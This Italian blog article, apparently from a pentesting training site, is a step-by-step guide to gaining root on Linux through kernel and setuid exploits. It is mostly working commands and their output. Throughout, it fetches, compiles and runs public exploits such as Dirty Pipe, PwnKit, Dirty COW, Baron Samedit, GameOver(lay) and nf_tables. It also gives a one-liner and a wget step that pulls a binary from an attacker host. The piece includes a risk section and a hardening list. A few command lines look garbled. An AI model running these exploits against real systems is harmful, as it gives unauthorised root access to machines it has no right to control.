linux

Kernel Exploits: privesc reale su Linux e Windows

Kernel Exploits: privesc reale su Linux e Windows

Kernel exploits: tecniche reali di privilege escalation su Linux e Windows. Dalla teoria all’exploit pratico in lab.

  • Pubblicato il 2026-02-26
  • Tempo di lettura: 5 min

Executive Summary — I kernel exploit sono l’ultimo resort nella Linux Privilege Escalation (https://hackita.it/articoli/linux-privesc): quando sudo, SUID, cron e capabilities falliscono, resta il kernel. Un kernel exploit sfrutta vulnerabilità nel kernel Linux — il componente con privilegi massimi. Se funziona, ottieni root immediato. Rischio: exploit instabile → kernel panic / crash del sistema. Per questo è l’ultima tecnica in un pentest. Questo articolo copre i principali kernel exploit (2016–2026), identificazione del kernel vulnerabile, ricerca exploit, compilazione ed esecuzione.

TL;DRuname -r + cat /etc/os-release → identifica kernel/distro → match con CVE noti • Dirty Pipe (CVE-2022-0847), Dirty COW (CVE-2016-5195), PwnKit (CVE-2021-4034), GameOver(lay) (CVE-2023-2640 / 32629) = LPE comuni e altamente sfruttati • linux-exploit-suggester → script che confronta kernel/versione con database exploit → suggerisce LPE compatibili

https://www.picussecurity.com/resource/linux-dirty-pipe-cve-2022-0847-vulnerability-exploitation-explained

Workflow — Dal Kernel all’Exploit #

text
1. uname -r                              → versione kernel
2. cat /etc/os-release                   → distribuzione
3. linux-exploit-suggester               → CVE suggeriti
4. Verifica su Exploit-DB / GitHub       → trova PoC
5. Compila sul target (o cross-compile)  → binario
6. Esegui                                → root (o kernel panic)

Step 1: Identifica il kernel #

bash
uname -r
text
5.4.0-42-generic
bash
uname -a
text
Linux target 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux
bash
cat /etc/os-release
text
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"

Step 2: Cerca exploit automaticamente #

bash
# linux-exploit-suggester
bash les.sh

Output:

text
[+] [CVE-2022-0847] DirtyPipe
   Details: https://dirtypipe.cm4all.com/
   Exposure: probable
   Tags: ubuntu=(20.04|21.04|22.04){5.8-5.16}
   Download URL: https://haxx.in/files/dirtypipez.c

[+] [CVE-2021-4034] PwnKit
   Details: https://blog.qualys.com/
   Exposure: highly probable
   Tags: ubuntu=10.04{default}|...
   Download URL: https://github.com/.../CVE-2021-4034

[+] [CVE-2021-3156] Baron Samedit
   Details: https://blog.qualys.com/
   Exposure: probable
   Tags: ubuntu=(18.04|20.04){sudo 1.8.2-1.9.5p1}
bash
# searchsploit
searchsploit linux kernel 5.4 privilege escalation

I Kernel Exploit Critici — Catalogo Completo #

CVE-2022-0847 — Dirty Pipe #

DettaglioValore
CVECVE-2022-0847
NomeDirty Pipe
Kernel5.8 → 5.16.11 (fix: 5.16.11, 5.15.25, 5.10.102)
ImpattoSovrascrittura di file read-only → root
AffidabilitàAlta — non crashea
DistroUbuntu 20.04+, Fedora 35, Debian 11

Come funziona: sfrutta un bug nella pipe del kernel per sovrascrivere qualsiasi file, anche se read-only. Puoi sovrascrivere /etc/passwd per aggiungere un utente root o sovrascrivere un SUID binary.

bash
# Verifica versione
uname -r
# 5.13.0-28-generic → vulnerabile

# Scarica e compila
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez

# Esegui (sovrascrive SUID binary per dare root)
./dirtypipez /usr/bin/su

Output:

text
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont hierarchical the p]
root@target:#

Variante — sovrascrittura /etc/passwd:

bash
# Compila la variante che modifica /etc/passwd
gcc dirty_pipe_passwd.c -o dp
./dp
# Aggiunge utente root con password nota
su piped
# Password: piped → root

CVE-2021-4034 — PwnKit (Polkit pkexec) #

DettaglioValore
CVECVE-2021-4034
NomePwnKit
Componentepkexec (Polkit) — non strettamente kernel ma sempre presente
VersioniTutte le versioni di pkexec dal 2009
ImpattoLocal privilege escalation → root
AffidabilitàMolto alta — quasi mai crashea
DistroTutte le distro con Polkit installato (quasi tutte)

Come funziona: pkexec ha un bug nella gestione degli argomenti (argc=0) che permette di iniettare una variabile d’ambiente che carica una libreria malevola.

bash
# Verifica
which pkexec
# /usr/bin/pkexec → presente
ls -la /usr/bin/pkexec
# -rwsr-xr-x → SUID root

# Scarica PoC
git clone https://github.com/ly4k/PwnKit
cd PwnKit

# Compila
make

# Esegui
./PwnKit

Output:

text
root@target:# id
uid=0(root) gid=0(root) groups=0(root)

Versione one-liner (pre-compilata):

bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

CVE-2016-5195 — Dirty COW #

DettaglioValore
CVECVE-2016-5195
NomeDirty COW (Copy-On-Write)
Kernel2.6.22 → 4.8.3 (fix: 4.8.3)
ImpattoSovrascrittura file read-only → root
AffidabilitàMedia — può essere instabile
DistroCentOS 6/7, Ubuntu 14.04/16.04, Debian 7/8
bash
# Scarica
searchsploit -m 40839

# Compila
gcc -pthread 40839.c -o dirty_cow -lcrypt

# Esegui (modifica /etc/passwd — aggiunge utente firefart:root)
./dirty_cow

Variante per SUID (più stabile):

bash
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/cowroot.c
gcc cowroot.c -o cowroot -pthread
./cowroot

CVE-2021-3156 — Baron Samedit (sudo) #

DettaglioValore
CVECVE-2021-3156
NomeBaron Samedit
Componentesudo 1.8.2 → 1.9.5p1
ImpattoHeap overflow in sudoedit → root
AffidabilitàAlta (con exploit corretto per la distro)
DistroUbuntu 18.04/20.04, Debian 10, CentOS 7/8
bash
# Verifica versione sudo
sudo --version
# Sudo version 1.8.31 → vulnerabile

# Test (se crashea, è vulnerabile)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
bash
# Scarica exploit
git clone https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156

# Compila (scegli il target giusto per la distro)
make

# Esegui
./sudo-hax-me-a-sandwich 0  # 0 = Ubuntu 20.04

Output:

text
# id
uid=0(root) gid=0(root) groups=0(root)

CVE-2023-2640 / CVE-2023-32629 — GameOver(lay) #

DettaglioValore
CVECVE-2023-2640, CVE-2023-32629
NomeGameOver(lay)
KernelUbuntu kernels con OverlayFS (5.15 - 6.2)
ImpattoOverlayFS capability bypass → root
AffidabilitàAlta
DistroUbuntu 22.04, 23.04 (kernel specifici Ubuntu)
bash
# One-liner
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p]* l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")'

CVE-2024-1086 — nf_tables Use-After-Free #

DettaglioValore
CVECVE-2024-1086
Nomenf_tables UAF
Kernel3.15 → 6.8 (fix: 6.8)
ImpattoUse-after-free in netfilter → root
AffidabilitàBuona su kernel supportati
DistroDebian 12, Ubuntu 22.04/23.10
bash
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
./exploit

CVE-2022-2588 — Dirty Cred #

DettaglioValore
CVECVE-2022-2588
Kernel3.0 → 5.19
ImpattoUse-after-free in route4 → root
AffidabilitàMedia

CVE-2022-34918 — Netfilter heap overflow #

DettaglioValore
CVECVE-2022-34918
Kernel5.18 → 5.18.9
ImpattoHeap overflow in nf_tables → root

CVE-2022-0185 — Filesystem context heap overflow #

DettaglioValore
CVECVE-2022-0185
Kernel5.1 → 5.16.2
ImpattoHeap overflow in legacy_parse_param → root, container escape

Questo exploit è particolarmente rilevante per la container escape — funziona anche da container non privilegiato.

Tabella Riepilogativa #

CVENomeKernelAffidabilitàCrash risk
2024-1086nf_tables UAF3.15 - 6.8BuonaMedio
2023-2640GameOver(lay)Ubuntu 5.15-6.2AltaBasso
2022-0847Dirty Pipe5.8 - 5.16.11AltaBasso
2022-0185FS Context5.1 - 5.16.2MediaMedio
2022-2588Dirty Cred3.0 - 5.19MediaMedio
2021-4034PwnKitTutte con pkexecMolto altaBasso
2021-3156Baron Sameditsudo 1.8.2-1.9.5p1AltaBasso
2016-5195Dirty COW2.6.22 - 4.8.3MediaMedio

Compilazione — Come Preparare l’Exploit #

Sul target (se gcc è disponibile) #

bash
which gcc
# /usr/bin/gcc

gcc exploit.c -o exploit
gcc exploit.c -o exploit -pthread -lcrypt  # Se necessario

Cross-compilazione (dalla tua macchina) #

Se il target non ha gcc:

bash
# Sulla tua Kali (stessa architettura):
gcc -static exploit.c -o exploit
# -static include tutte le librerie → funziona senza dipendenze

# Trasferisci
python3 -m http.server 8080
# Sul target:
wget http://10.10.10.200:8080/exploit
chmod +x exploit
./exploit

Per i metodi di file transfer: wget, curl, nc, scp, base64.

Se il PoC è in Python/Go #

bash
# Python: verifica versione
python3 --version

# Go: compila staticamente sulla tua macchina
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o exploit exploit.go
# Trasferisci il binario compilato

Rischi e Precauzioni #

text
⚠️ KERNEL PANIC: un exploit che fallisce può crashare il sistema
   → In un pentest, questo è inaccettabile su sistemi di produzione
   → Testa SEMPRE in lab prima
   → Chiedi autorizzazione specifica per kernel exploit

⚠️ INSTABILITÀ: anche un exploit che funziona può lasciare il kernel
   instabile → monitora il sistema dopo l'esecuzione

⚠️ RILEVAMENTO: kernel exploit generano eventi anomali nei log
   → auditd, syslog, dmesg possono mostrare tracce

⚠️ ORDINE: tenta SEMPRE le tecniche non-kernel prima
   → sudo, SUID, cron, capabilities, NFS, Docker sono più sicure
   → Kernel exploit = ultima risorsa

Cheat Sheet Finale #

Enumerazione #

AzioneComando
Kernel versionuname -r
Full infouname -a
Distrocat /etc/os-release
Auto-suggestbash les.sh (linux-exploit-suggester)
Searchsploitsearchsploit linux kernel [version]
sudo versionsudo --version
pkexec checkls -la /usr/bin/pkexec

Top exploit per anno #

AnnoCVENomeOne-liner / Tool
20242024-1086nf_tables./exploit
20232023-2640GameOver(lay)unshare -rm sh -c ...
20222022-0847Dirty Pipe./dirtypipez /usr/bin/su
20222021-4034PwnKit./PwnKit
20212021-3156Baron Samedit./sudo-hax-me-a-sandwich 0
20162016-5195Dirty COW./dirty_cow

Hardening #

  • Kernel aggiornato — patch regolari
  • Rimuovi pkexec se non necessario
  • sudo aggiornato all’ultima versione
  • Kernel hardening: KASLR, SMEP, SMAP abilitati
  • Seccomp e AppArmor/SELinux per limitare le syscall
  • kernel.unprivileged_userns_clone=0 contro container escape

Riferimento: linux-exploit-suggester, Exploit-DB, kernel.org security advisories. Uso esclusivo in ambienti autorizzati.

hackita.it/supportohackita.it/servizi.

#kernel

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.